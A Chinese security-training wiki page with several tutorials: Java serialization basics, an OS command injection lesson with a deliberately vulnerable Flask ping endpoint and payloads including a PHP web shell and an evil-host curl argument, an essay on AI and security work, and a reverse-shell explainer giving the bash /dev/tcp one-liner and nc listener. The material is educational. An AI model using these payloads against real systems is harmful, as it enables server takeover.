这是「Java 反序列化深度」系列的 Part 1，免费。 学完你会明白：为什么 Java 要把对象"冻"成字节、Serializable 到底是个什么东西、序列化时哪些东西被保存、哪些被丢掉。 后面 Part 2 讲 readObject 反序列化的内部过程，Part 3 讲 gadget（利用链）的本质，Part 4 手搓第一条链。

一、先想清楚一个问题：对象为什么要"变身"

程序跑起来的时候，一个 User 对象是活的——它躺在 JVM 的堆内存里，有字段、有方法，能被程序调用。

但内存里的东西有两个致命问题：

1. 程序一关，内存清空，对象就没了。 你没法把它存到磁盘上，下次开机接着用。
2. 内存不能跨机器。 你没法把这台 JVM 堆里的对象，直接"搬"到另一台服务器的 JVM 里。

于是 Java 提供了一套机制：把内存里的对象，转换成一串可以保存、可以传输的字节。这个过程叫序列化（Serialization）；反过来，把字节重新还原成内存里的对象，叫反序列化（Deserialization）。

你可以把它理解成冻肉和解冻：

• 序列化 = 把活对象"冻"成一块能长期存放、能快递的肉；
• 反序列化 = 收到后"解冻"，对象重新活过来。

这套机制在 Java 世界里无处不在：RMI 远程调用、Session 持久化、缓存（Redis / 内存网格）、消息队列、某些 RPC 框架……底层都在做序列化。而反序列化漏洞，恰恰就藏在"解冻"这个动作里。 要理解漏洞，先得把序列化本身搞明白。

二、让一个类"可被序列化"：实现 Serializable

Java 里不是所有对象都能被序列化的。一个类想获得这个能力，必须实现一个叫 Serializable 的接口：

import java.io.Serializable;

public class User implements Serializable {
    private static final long serialVersionUID = 1L;  // 作用后面讲

    private String name;
    private int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("构造器被调用了");
    }

    public String toString() {
        return "User{name=" + name + ", age=" + age + "}";
    }
}

注意 Serializable 长这样：

public interface Serializable {
    // 里面一个方法都没有！
}

它是一个标记接口（marker interface）——接口里一个方法都没有，它的唯一作用就是给类"盖个章"，告诉 JVM："这个类我设计过，可以被序列化。"

如果一个类没实现 Serializable 你就硬要序列化它，运行时会抛出 java.io.NotSerializableException。

三、真正动手：序列化 + 反序列化

Java 用两个流来完成这件事：

• ObjectOutputStream 的 writeObject(obj)：把对象写成字节；
• ObjectInputStream 的 readObject()：从字节读回对象，返回值是 Object，需要强转。

import java.io.*;

public class SerialDemo {
    public static void main(String[] args) throws Exception {
        User user = new User("小明", 18);

        // 1. 序列化：对象 → 文件 user.bin
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.bin"));
        oos.writeObject(user);
        oos.close();

        // 2. 反序列化：文件 → 对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.bin"));
        User back = (User) ois.readObject();
        ois.close();

        System.out.println(back);  // User{name=小明, age=18}
    }
}

运行输出：

构造器被调用了
User{name=小明, age=18}

"构造器被调用了"只打印了一次。 这是第一个反直觉、也是理解漏洞的关键点：

反序列化创建对象时，不会调用类的构造器。

想想也合理：构造器往往负责初始化、校验、开资源，而反序列化是要"还原对象当时的状态"，如果再跑一遍构造器，可能把还原好的字段冲掉。所以 JVM 绕过构造器，直接按照字节流里记录的字段值，把对象"拼"出来。

记住这句话——反序列化是一条不经过构造器的"造对象"通道。既然它能造对象，就可能被人利用来造出"不该被造出的东西"。这是后话。

四、序列化到底保存了什么？（重点表格）

很多人以为序列化是把整个对象"拍照"存下来，其实不是。它只保存对象的非静态、非 transient 的实例字段，而且是递归保存的。

举个例子，给 User 加两个字段：

public class User implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private transient String password;  // 敏感信息，不序列化
    private static String platform = "WEB"; // 静态，不序列化
    private int age;
    // ...
}

序列化再反序列化后：

• name、age 正常恢复；
• password 变成 null（引用类型默认值），没有被保存；
• platform 不参与序列化，它的值来自当前 JVM 里加载的类。

**"递归保存引用对象"**这一点尤其重要。假设 User 里有个 Address addr 字段，序列化 User 时，addr 指向的 Address 对象也会被一起写进字节流；如果 Address 没实现 Serializable，同样会抛 NotSerializableException。

这种"一个对象牵着一串对象，递归地全部序列化"的特性，正是后面 gadget 链能够一环扣一环触发的物理基础——字节流里可以嵌套非常深的对象结构。

五、那串字节长什么样？

用十六进制打开 user.bin，开头一定是这两个字节：

AC ED 00 05

• AC ED 叫 STREAM_MAGIC（魔数），相当于这个序列化流的"身份证"，JVM 一看到它就知道"这是 Java 序列化数据"；
• 00 05 是 STREAM_VERSION，序列化协议版本号。

后面依次是：类描述（类名、serialVersionUID、字段列表）、字段的值、引用对象的描述…… 现在不要求你看懂每一个字节，但要建立一个印象：这是一份有固定格式、JVM 能照着它一步步把对象拼回来的数据结构。

安全上的小习惯：在流量或文件里看到 AC ED 00 05，或者它的 Base64 形式 rO0ABX（AC ED 00 05 做 Base64 后的开头），基本就能判断"这里有 Java 序列化数据"，值得多看一眼。

六、serialVersionUID：版本"对不上"会怎样

前面代码里反复出现：

private static final long serialVersionUID = 1L;

它相当于类的版本号。序列化时这个号会写进字节流；反序列化时，JVM 拿流里的版本号和当前类的版本号比对：

• 对得上：正常还原；
• 对不上：抛 InvalidClassException，拒绝还原。

如果你不手写，JVM 会根据类的字段、方法等自动算一个。但自动算的结果对类的改动极其敏感——你只是加了个无关紧要的方法，版本号就变了，旧数据反序列化直接失败。所以工程上一般显式写死 serialVersionUID，由你自己控制什么时候算"不兼容"。

这一点对安全也有启发：反序列化是一个严格依赖"类定义"的过程。流里记录的类名、字段，必须在当前 classpath 上能找到、能对上，对象才拼得出来。这也解释了为什么利用链（gadget）必须是目标环境里真实存在的类。

七、本篇小结

• 序列化是把内存对象变成可存储、可传输的字节；反序列化是把字节变回对象，典型场景是 RMI、Session、缓存、消息队列。
• 类要实现标记接口 Serializable 才能被序列化。
• 序列化只保存非 static、非 transient 的实例字段，并对引用对象递归保存。
• 反序列化不走构造器，而是按字节流直接把对象拼出来——这是一条隐藏的"造对象"通道。
• 序列化流以 AC ED 00 05（Base64：rO0ABX）开头；serialVersionUID 用于版本校验。

到这里你已经知道"对象怎么变成字节"。但反序列化具体是怎么一步步把对象拼回来的？为什么说这个过程里会"执行代码"？下一篇 5.12 readObject、钩子与递归还原 我们钻进 readObject 内部看清楚。

「命令注入与反弹 Shell」系列 Part 1（免费）。 这一篇把命令注入（OS Command Injection）讲透：什么情况下你的输入会被当成 shell 命令解释、每个 shell 特殊符号到底在做什么、注入点处在引号里又该怎么办。 Part 2 是反弹 Shell：让目标主动连回来，讲拿到执行能力后，怎么把它变成一个稳定的交互式控制；Part 3 讲盲执行与数据外带，Part 4 讲过滤绕过，Part 5 讲各语言的参数化防御。

一、先看一个“很正常”的功能

很多网站都有这类运维小工具：你输入一个 IP，服务器帮你 ping 一下，看主机通不通。下面用 Python（Flask）写一个最常见、也确实存在漏洞的版本：

import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/ping')
def ping():
    ip = request.args.get('ip', '')
    # 直接把用户输入拼进命令字符串，再交给 os.system
    os.system('ping -c 4 ' + ip)
    return 'done'

开发者的预期是：你输入 127.0.0.1，最终在服务器上执行：

ping -c 4 127.0.0.1

看起来没毛病。但如果攻击者输入的不是 IP，而是：

127.0.0.1; id

拼出来的字符串就变成了：

ping -c 4 127.0.0.1; id

在 shell 眼里，分号 ; 是命令分隔符，意思是“前面的命令执行完，接着执行后面的”。于是服务器先 ping，然后老老实实执行了 id：

$ ping -c 2 127.0.0.1; id
PING 127.0.0.1 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss
uid=33(www-data) gid=33(www-data) groups=33(www-data)

注意最后一行：Web 服务是以 www-data 身份运行的，id 把这个身份原样返回了。攻击者没有破解任何密码、没有绕过任何登录，他只是利用了“shell 会解释特殊符号”这一特性，让程序多执行了一条命令——这就是命令注入。

二、最关键的前提：你的输入，到底有没有经过 shell

这是 90% 的新手（以及不少网上教程）会搞错的地方，也是判断“到底能不能注入”的第一道分水岭。

程序执行一条系统命令，底层其实有两条完全不同的路径：

• 路径①「直接 exec」：程序把可执行文件和参数分成一个数组交给内核，内核直接拉起进程，中间没有 shell。既然没有 shell，;、|、&& 这些符号谁来解释？没人。它们会被原封不动地当成普通参数传给程序，命令注入自然不成立。
• 路径②「经过 shell」：程序把整串字符串交给 /bin/sh -c（Linux）或 cmd /c（Windows），由 shell 先做一遍解析，再决定执行哪些命令。这时候用户输入里的元字符才会被“当成符号”——命令注入只可能发生在这条路径上。

深挖：为什么有些教程里的 Java 例子“其实注入不了”

你可能在很多资料里见过这样的 Java 示例，并被告知输入 ; id 就能执行命令：

Runtime.getRuntime().exec("ping -c 4 " + ip);   // 注意：单字符串版本

但严格来说，这个写法里 ; id 并不会被执行。原因藏在 JDK 的实现里：Runtime.exec(String) 内部会先用 StringTokenizer 按空白把字符串拆成一个参数数组，然后调用数组版的 exec 直接启动进程——它默认并不经过 shell。于是 ;、id 被拆成了两个普通参数，一起塞给了 ping，ping 只会报一句“unknown host”之类的错。

要让 Java 里的元字符生效，必须显式把命令交给 shell，例如：

String[] cmd = { "/bin/sh", "-c", "ping -c 4 " + ip };
Runtime.getRuntime().exec(cmd);

顺带认识一个“近亲”：参数注入（Argument Injection）。 即使走的是路径①、没有 shell，只要输入能引入空白，就可能往目标程序里追加额外的参数 / 开关。比如某个功能内部调用 curl 用户输入，你输入 -o /tmp/x http://evil/x，就可能改变 curl 的行为；类似的还有 find -exec、ssh -oProxyCommand=、tar --checkpoint-action 等。它不能直接用 ; 拼命令，但借助危险开关同样能走到代码执行。这是比命令注入更隐蔽的一类问题，后面讲中间件和绕过的时候还会遇到。

常见语言：哪些函数“过 shell”，哪些“不过”

下面给一张速览表（每种语言的安全写法在 Part 5 系统展开）：

记住这张表背后的原则即可：凡是“把一整串字符串交给一个 shell 去跑”的写法，才谈得上命令注入。 这也是为什么这一篇用 Python 的 os.system（它内部就是 /bin/sh -c）作为开场示例——它是真实可利用的。

三、shell 拿到这行字之后，做了什么

既然命令注入是在“和 shell 对话”，那就得知道 shell 拿到一行字符串后，按什么顺序处理它。这个顺序直接决定了某些 payload 为什么有效。

几个对利用最关键的点：

1. 操作符在很前面就被识别了。 shell 先把整行按 ;、|、&& 等切成“一条一条的命令”，再分别处理每条。所以你用 ; 就能硬生生切出一条新命令。
2. 命令替换 $() 在第 3 步就执行了，早于外层命令真正运行。 这就是为什么把 $(id) 塞进命令里，id 会“抢先”执行——它属于解析阶段的展开动作，而不是等外层程序跑到一半才发生。
3. 展开之后还会做单词拆分。 这也是为什么“注入一个空格 + 额外参数”能起作用（呼应上面的参数注入）。

理解了这条流水线，你就不需要死记 payload：想追加命令就用分隔符，想让命令提前跑就用替换，想让两条命令产生条件关系就用 &&/||。

四、逐个吃透拼接符号（配真实回显）

下面以“原命令是 ping -c 4 输入点”为例，把每个符号彻底搞懂。

1. ; 分号：无条件顺序执行

不管前一条命令成功还是失败，分号后面的都会执行。这是最直接、最常用的注入符：

$ echo step1; echo step2
step1
step2

2. && 与 ||：看前一条的“退出码”

每条命令结束后都会留下一个退出码，存在特殊变量 $? 里：0 表示成功，非 0 表示失败。

• A && B：只有 A 成功（退出码 0）才执行 B；
• A || B：只有 A 失败（退出码非 0）才执行 B。

$ ping -c 1 -W 1 127.0.0.1 >/dev/null && echo "主机存活"
主机存活
$ ping -c 1 -W 1 192.0.2.99 >/dev/null || echo "主机不可达"
主机不可达

这在注入里很有用：你可以让“是否执行你的命令”绑定到原命令的成败上，也常用来做“原命令失败也不影响我执行”的兜底，例如 127.0.0.1 || id。

3. | 管道：把前一条的输出喂给后一条

A | B 会把 A 的标准输出，接到 B 的标准输入上。哪怕后一条命令根本不读输入，它照样会被启动执行：

$ echo whatever | id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

id 并不理会管道送来的 whatever，但它确实运行了。实战中管道更多用于“把某个命令的输出交给 grep / 另一个工具处理”。

4. & 后台符：把前一条丢到后台

A & B 会让 A 在后台运行、立即返回，接着执行 B。在注入点位于命令中间、而后面还拖着原命令参数时特别好用：

$ sleep 20 & id
[1] 13042
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. $() 与反引号：命令替换

$(...) 会先执行括号里的命令，再用它的输出替换到当前位置：

$ echo "当前身份是 $(id)"
当前身份是 uid=33(www-data) gid=33(www-data) groups=33(www-data)

反引号 `...` 是等价的老式写法，现在更推荐 $()（支持嵌套、可读性更好）。

6. 换行 \n：直接另起一条

shell 把换行也当作命令结束符。通过 HTTP 注入时，换行通常编码为 %0a：

ip=127.0.0.1%0aid

服务端拼出两行，等于在新的一行执行了 id。

7. 重定向 > <：不只是“追加命令”，还能写文件

严格说重定向不是“拼接新命令”，但它在利用中极其重要——可以把内容写进文件。如果 Web 目录可写，甚至能直接写一个网页木马：

$ echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php
# 之后访问 shell.php?c=id 即可执行命令

能否写成功取决于目录权限，但这是“命令注入 → 落地持久化”的一条经典路径。

符号总表（命令注入“字母表”）

新手最容易混的两组，务必分清：一个竖线 | 是管道，两个 || 才是“失败才执行”；一个 & 是后台，两个 && 才是“成功才执行”。

五、注入点在“哪里”：你可能要先闭合引号

前面的例子都假设输入位于命令末尾、且没有引号包裹。但真实代码里，输入常常被引号包住、或夹在命令中间。处在引号内部时，元字符会被当成普通字符，必须先“闭合引号”跳出当前上下文。

以双引号为例，输入 127.0.0.1"; id; " 后，命令被拼成：

ping -c 4 "127.0.0.1"; id; ""
#          └─引号正常闭合─┘   └id┘ └空命令，仅为凑齐引号┘

末尾那个 "" 是为了让“被我们拆开的引号”重新配对，避免语法错误。单引号同理。

单、双引号还有个重要区别：双引号内仍会进行 $、反引号等展开，单引号内则完全不展开、内容原样保留。 这会影响你在不同上下文里能否用 $()，绕过篇（Part 4）会细讲。

六、Windows 目标：cmd.exe 的异同

如果目标是 Windows，底层 shell 是 cmd.exe，思路完全一样，但符号有差异，最容易踩的坑是：Windows 没有 ; 这个命令分隔符，顺序执行用 &。

例如对一台 Windows 主机，顺序执行两条命令应写成 127.0.0.1 & whoami，而不是 ; whoami。判断目标系统（看报错页、TTL、大小写敏感与否）是命令注入的第一步。

七、注入之后：三种结果与利用方向

按注入后能不能在页面上看到结果，通常分三类，这决定了下一步怎么利用：

1. 有回显（In-band）：像上面的 ping 工具，id 的输出直接显示在页面上，最直观，直接读 whoami、ls、cat /etc/passwd 等。
2. 无回显（盲注，Blind）：命令执行了，但结果不返回。这时先用延时确认（如 sleep 5，页面明显变慢即证明可注入），再想办法把结果**外带（OOB, Out-of-Band）**出来，比如 DNS 回连、HTTP 回连。具体手法在 Part 3 细讲。
3. 命令嵌套 / 替换：用 $() 把注入命令的结果拼回原命令，有时能间接读到结果。

命令注入的危害本质是在目标服务器上以服务账户身份执行任意命令：读敏感文件、写网页木马、内网探测、装持久化、甚至接管整台机器。而实战中我们通常不会满足于在网页里一条条手敲——而是让目标主动连回一个稳定的交互式 Shell，这正是 Part 2 的内容。

八、命令注入 vs 代码注入：别混为一谈

二者层级不同、又经常互相转化：命令注入是直接调系统命令；代码注入是先注入一段语言代码（如 eval 里的 Python/PHP），再由这段代码去调系统命令。本系列聚焦命令注入；代码注入在表达式注入（4J）、各语言生态（5E）和反序列化（5B）里讲。

九、防御：先建立正确的直觉

命令注入的根治思路非常清晰，这里先建立框架，每种语言的具体安全写法在 Part 5 展开：

1. 优先不经过 shell（参数化调用）。 用上文“路径①”的数组式 API，把可执行文件和参数分开传，从根上消除“拼接 → shell 解析”这一步。这是最彻底的防御。
2. 必须用 shell 时，做白名单校验，而不是黑名单。 比如 ping 工具只允许符合 IP / 域名格式的输入。试图“过滤掉 ;、| 等危险字符”的黑名单永远列不全（编码、替代符号、新姿势都能绕，见 Part 4）。
3. 最小权限运行应用。 Web 服务用低权限账户、不给不必要的目录写权限，万一被注入，危害也被限制住。
4. 禁用 / 收敛危险函数，WAF 只作纵深防御的补充。 如 PHP 可在 disable_functions 里关掉一批命令执行函数；WAF 能挡掉常见扫描，但不能当作唯一防线。

十、本篇小结

• 命令注入成立的前提是用户输入最终被交给 shell 解释；直接 exec 参数数组、没有 shell，元字符就不生效（Java 单字符串 exec 是最常见的反例）。
• 核心符号：; 顺序、&& 成功、|| 失败、| 管道、& 后台、$() 替换、换行另起、> 写文件；学习关键是理解语义与 shell 解析顺序，而非背 payload。
• 输入被引号包住时要先闭合引号；Windows 用 & 而非 ;。
• 结果分有回显、盲注（延时 / 外带）、嵌套三类。
• 防御核心是不经过 shell 的参数化调用 + 白名单校验 + 最小权限。

能执行命令之后，下一步通常是让目标主动连回一个稳定的 Shell。继续看 4.56 反弹 Shell 本质。

下面这些文章完全免费、无需登录，是整套 Wiki 的试读样本。想先拿到完整的 Docker 靶场、detect 脚本与原理 PPT/PDF，可加微信 lightleap612 免费领取 L1 入门资料包；想系统阅读全站正文，可了解 L2 会员。

AI时代，安全工程师的核心竞争力到底是什么

这两年，几乎每个学安全的人心里都闪过同一个念头：

「AI 都能一键生成 POC 了，我还学个啥？」

打开对话框，输入漏洞编号，几秒钟，一段像模像样的利用脚本就出来了。复制、粘贴、运行——有时候还真能成。于是更慌了：这活儿是不是早晚被 AI 干完？

先说结论：AI 确实干掉了一部分安全工作，但干掉的是本来就不值钱的那部分。 想明白它替代了什么、替代不了什么，你就知道该把力气花在哪。

一、AI 替代的，是「搬运和拼装」

你有没有想过，AI 为什么能写出 POC？

因为这个漏洞的利用方式，网上早就有了——有人写过分析、发过 exp、提交过靶场。大模型做的事，是把这些已经存在的内容记住，再按你的要求重新拼一遍。

它本质是一个超级熟练的「搬运工 + 组装工」：速度极快、永不疲倦、记得比你多。

而「把已知的东西搜出来、拼起来」这件事，本来就是安全工作里最底层、最容易被替代的环节。过去你背一堆 payload、记一堆命令参数，靠的是「我记得、你不记得」的信息差。在 AI 面前，单纯的信息差一文钱不值。

所以如果你对安全的全部理解就是「跑 POC」，那确实该焦虑。

二、为什么 AI 给的 POC，经常跑不通

光说不练假把式，看个最常见的场景。

你让 AI 写一段利用脚本，它信心满满地给了你。你一跑——报错。再问，它改一版，还报错。好不容易不报错了，啥反应没有。换个目标版本，彻底歇菜。

问题出在哪？

AI 能给你「标准答案」，但它不在你的「现场」。

真实的环境里，有无数个变量：目标到底是哪个小版本？WAF 拦了什么？网络通不通？这个依赖在不在？报错信息背后真正的原因是什么？——这些东西，没有任何一段通用脚本能覆盖，只能靠人去判断。

而要做出这种判断，前提是你懂它为什么能成、又为什么会失败。这就是分水岭。

三、真正值钱的，是这四样东西

把 AI 干不了的部分拆开，核心竞争力其实很具体。

1. 判断对错的能力

AI 有个出名的毛病，叫「幻觉」——它会一本正经地编造不存在的函数、漏洞编号，甚至整条利用链，语气还特别笃定。你要是照单全收，能被带沟里去。

能不能一眼看出「这段代码不对劲」，靠的不是运气，是你脑子里有底层原理这把尺子。懂的人用 AI 是校验，不懂的人用 AI 是赌博。

2. 理解现场的能力

同一个漏洞，靶场里一打一个准，搬到真实业务上就是不响。

差别往往不在漏洞本身，而在环境：防火墙策略、网络拓扑、配置差异、防护软件……这些是「现场情况」，AI 看不到你的现场，自然给不了答案。能结合现场调整打法，是工程师，不是脚本小子。

3. 定义问题的能力

AI 回答得好不好，一半取决于你问得对不对。

新手只会说「报错了，怎么办」；高手能把一个模糊的故障，拆成几个清晰、可验证的小问题，一步步逼近根因。把问题定义清楚，问题就解决了一半——这件事，AI 帮不了你，因为它需要你先理解发生了什么。

4. 承担责任的能力

渗透测试是要签字、要负责的。授权范围是什么、动了哪些系统、造成了什么影响，都得有人担着。

出了事，你不能跟客户、跟监管说「是 AI 让我这么打的」。工具不担责，用工具的人担责。 这也是为什么「人」在这个环节里永远不可省略。

四、把 AI 当成杠杆，而不是拐杖

有个很形象的说法：AI 是杠杆。

杠杆能放大你的力量，但前提是得有个支点。这个支点，就是你自己懂原理、能判断的大脑。

• 你本身是懂的，AI 帮你把一小时的活压缩到十分钟，它放大的是你的能力；
• 你本身是空的，只会复制粘贴，那它放大的，是错误和风险。

同样用 AI，有人越用越强，有人越用越废，差别就在支点在不在。

写在最后

所以这个 Wiki 从第一篇开始，就不打算让你死记硬背任何 POC。

POC 网上一搜一大把，AI 一秒生成。我们要一起搞懂的，是 POC 背后那些东西：它为什么成立、依赖什么条件、换个场景怎么变通、出了问题怎么排查。

这些东西学得慢一点、费点脑子，但它们有两个好处：AI 一时半会儿拿不走，而且越积累越值钱。

下一篇，我们会把 AI 这个工具的边界彻底讲清楚——它到底能做什么、不能做什么（后续更新，可在入门筑基目录关注）。

反弹Shell到底是什么：一条命令为什么能控制一台服务器

复现漏洞最有成就感的瞬间，往往是这一幕：

你在自己电脑上敲了条命令，黑窗口里突然跳出对方服务器的提示符。你输 whoami，它回 root；你输 ls，它把对方的文件列了出来。

这就是大家常说的 GetShell，更具体点，叫「反弹 Shell」。

名字听着玄乎，其实原理一点都不复杂。这一篇，我们把它从头到脚讲明白。

一、先搞懂：Shell 是个什么东西

你可以把 Shell 理解成一个「传令兵」：

你用键盘输入命令，它负责翻译成操作系统听得懂的话、交给系统执行，再把结果带回来显示给你。

其实你早就用过它了——在 Linux 上打开终端，那个等你输入命令、一闪一闪的界面，就是一个 Shell。你输 ls，它列文件；你输 cd，它换目录。

所谓「拿到了 Shell」，说白了就是：你现在能对那台远程机器发号施令了。

问题只剩一个：你和那台机器之间，这条「传令通道」是怎么连上的？

二、正向连不上，那就让它「打回来」

连接有两个方向，这是理解反弹 Shell 的关键。

第一种，叫正向（bind）：让目标机器开一扇门，老老实实等着你去敲门、进去。

听起来很自然，但现实中几乎行不通。因为服务器都躲在防火墙、内网后面，规则通常是「里面的人能出去，外面的人别想随便进来」。你在外面使劲敲，门根本够不着。

第二种，叫反弹（reverse）：换个思路——既然我进不去，那就让目标机器主动来连我。

防火墙拦的是「外面进来的」，对「里面主动出去的」连接往往管得没那么严。于是这条连接就能成功建立。一旦连上，你照样能发号施令。

打个比方：

你进不去一栋大楼，门口有保安（防火墙）。但你想办法让楼里的人主动给你打了个电话。电话接通后，他在那头听你指挥，你让他看哪个房间，他就去看、再把情况告诉你。

你 = 攻击机；楼里的人 = 目标服务器；这通电话 = 反弹 Shell。

两种方向画成图是这样：

三、一条经典命令，逐段拆开看

最常见的一条反弹命令长这样（先别慌，我们一段段拆）：

bash -i >& /dev/tcp/你的IP地址/你的端口 0>&1

bash -i 启动一个交互式的 Shell（-i = interactive）。就是专门给人用、能一问一答的那种。

/dev/tcp/你的IP/你的端口 这是 Bash 提供的一个特殊写法。你往这个「文件」写东西，本质上就是向「你的 IP + 端口」发起一个网络连接。对方是谁？就是你自己的攻击机。

>& 和 0>&1 这两段是重定向，作用是把 Shell 的输入和输出，全都「接到」刚才那条网络连接上。这样你敲的字能传过去，它执行的结果能传回来。

要看懂重定向，先记住三个标准文件描述符：

>& /dev/tcp/... 是把输出（默认 1）重定向到这条连接；0>&1 是"让输入 0 指向输出 1 现在去的地方"，也就是也接到连接上。一来一回，通道就双向打通了。

整句话翻译成人话就是：

「在目标机器上开一个 Shell，让它连到我这台机器的指定端口，并且把它的输入输出全走这条连接。」

四、别忘了：你这边得先「接电话」

既然是让目标主动打给你，那你这边必须先有一台「电话」在等着，否则它打过来没人接。

这台电话，就是在你自己的攻击机上启动的监听，最常用的是 nc（netcat）：

nc -lvvp 你的端口

• -l：监听模式，相当于把电话拿起来等；
• -v：显示详细信息，有连接进来你能看到；
• -p 后面跟端口号，要和反弹命令里写的端口一模一样。

顺序千万别搞反：先在自己机器开监听，再去触发目标的反弹命令。 就像你得先开机等着，对方的电话才能打通。

一切顺利的话，监听窗口里就会跳出目标机器的 Shell——恭喜，你 GetShell 了。

五、新手最容易踩的几个坑

反弹 Shell 看着简单，新手翻车基本就这几个原因，先记住，能省你好几个小时：

1. 反弹 IP 填错（最高发）

命令里「你的 IP」必须是目标能够访问到的、你这台攻击机的地址。

• 填 127.0.0.1：那是让目标连它自己，你当然啥也收不到；
• 在 Docker 靶场里乱填 172.x.x.x：容器网络和你想的不一样；
• 靶场和攻击机不在一台机器上，却填了内网地址。

记住一个原则：填你攻击机的真实可达 IP（云服务器就填它的公网 IP）。

2. 端口没监听，或被防火墙拦

一边没开 nc，或者端口被安全组、防火墙挡住，连接照样建立不了。云服务器记得在控制台放行你用的端口。

3. 命令被「程序」执行时，重定向语法失效

这是个进阶大坑：很多漏洞里，命令不是交给 Bash、而是交给类似 Java 的 Runtime.exec() 来执行的。它不认 >&、/dev/tcp 这一套 Bash 语法，结果命令被拆得七零八落，Shell 弹不出来。

这个坑在 Tomcat 那个 GetShell 案例里我完整踩过、也给了绕过办法（Base64 + 花括号），等你学到对应漏洞的 Step3 详解时会看到，这里先有个印象。

六、不同环境，用哪条反弹命令

目标机器上有什么解释器，就用对应的命令。把下面的 IP、PORT 换成你攻击机的地址和监听端口：

选用顺序通常是：先看有没有 bash/python 这类好构造的，再退而求其次用 nc/PHP。判断目标有什么，可以在注入点执行 which bash python python3 nc php（有回显时），或从目标是什么应用、什么镜像来推断。

提醒：这些命令在"交给 shell 执行"时最顺。如果是被 Runtime.exec 这类不经 shell 的函数执行，特殊符号和 /dev/tcp 会失效，需要用 Base64 编码 + bash -c {echo,...} 的方式还原成 shell 执行——对应 Tomcat 案例 Step3 详解。

写在最后

反弹 Shell 一点魔法都没有，它就三步：

1. 在自己机器开监听（接电话）；
2. 让目标执行反弹命令（主动打给你）；
3. 连接建立，开始发号施令。

真正难的从来不是这条命令本身，而是怎么在具体的漏洞和环境里，让这条命令成功跑起来——这正是后面一个个实战案例要带你练的东西。